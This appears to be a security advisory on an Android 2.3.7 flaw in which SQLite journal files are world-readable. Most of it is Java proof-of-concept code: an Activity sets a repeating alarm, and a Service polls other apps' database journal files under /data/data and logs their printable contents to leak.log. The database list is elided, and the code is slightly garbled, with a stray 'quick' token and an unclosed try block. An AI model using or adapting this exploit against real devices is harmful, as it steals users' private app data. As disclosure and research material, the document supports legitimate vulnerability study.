Android 2.3.7
Install Android 4.0.1
The journal file of SQLite databases can be read by all applications:
Conclusion: All databases maintained by Android’s SQLite engine (unless named with a random and unguess- able string) can be leaked by malicious applications without the need to declare adequate privileges. The databases can be leaked during the lifetime of the journal file, (i.e. when the transaction is made).
public class SqlliteJournalLeakActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
final Intent intent = new Intent(this, com.ibm.android.sqllitejournal.SqlliteJournalLeakService.class);
final PendingIntent pending = PendingIntent.getService(this, 0, intent, 0);
final AlarmManager alarm = (AlarmManager) this.getSystemService(Context.ALARM_SERVICE);
alarm.cancel(pending);
long interval = 30;
alarm.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(),interval, pending);
}
}
public class SqlliteJournalLeakService extends Service {
private final String[] DATABASES = {
[... see paper ...]
};
private final IBinder mBinder = new SqlliteJournalLeakServiceBinder();
private HashMap<String, Long> mLastChanges = new HashMap<String, Long>();
private FileOutputStream mLog;
@Override
public void onCreate() {
try {quick
mLog = openFileOutput("leak.log", MODE_APPEND);
} catch (FileNotFoundException e) {}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
trackChanges();
return START_STICKY;
}
private void trackChanges()
{
for (String name : DATABASES)
{
name = "/data/data" + name + "-journal";
File f = new File(name);
if (!f.exists())
{
continue;
}
if (!mLastChanges.containsKey(name))
{
mLastChanges.put(name, f.lastModified());
handleChange(f);
}
long m = f.lastModified();
if (mLastChanges.get(name) >= m)
continue;
mLastChanges.put(name, m);
handleChange(f);
}
}
private void handleChange(File file)
{
log(file.getAbsolutePath(), getPrintable(file));
}
private void log(String pkg, String data)
{
String line = pkg + ":\n\n" + data + "\n================================\n";
try
{
mLog.write(line.getBytes());
mLog.flush();
}
catch (IOException e) {}
}
private static String getPrintable(File journal)
{
String printable = "";
int len = 0;
FileReader fr;
try {
fr = new FileReader(journal);
char[] buffer = new char[1024];
while (-1 != (len = fr.read(buffer)))
{
for (int i = 0 ; i < len ; i++)
{
if (filter(buffer[i]))
printable += buffer[i];
}
}
}
}
private static boolean filter(char ch)
{
switch (ch)
{
case '\n':
case '\r':
case '\t':
return true;
}
if ((ch >= 0x20) && (ch <= 0x80))
return true;
return false;
}
public class SqlliteJournalLeakServiceBinder extends Binder {
SqlliteJournalLeakService getService() {
return SqlliteJournalLeakService.this;
}
}
@Override
public IBinder onBind(Intent intent) {
return mBinder;
}
}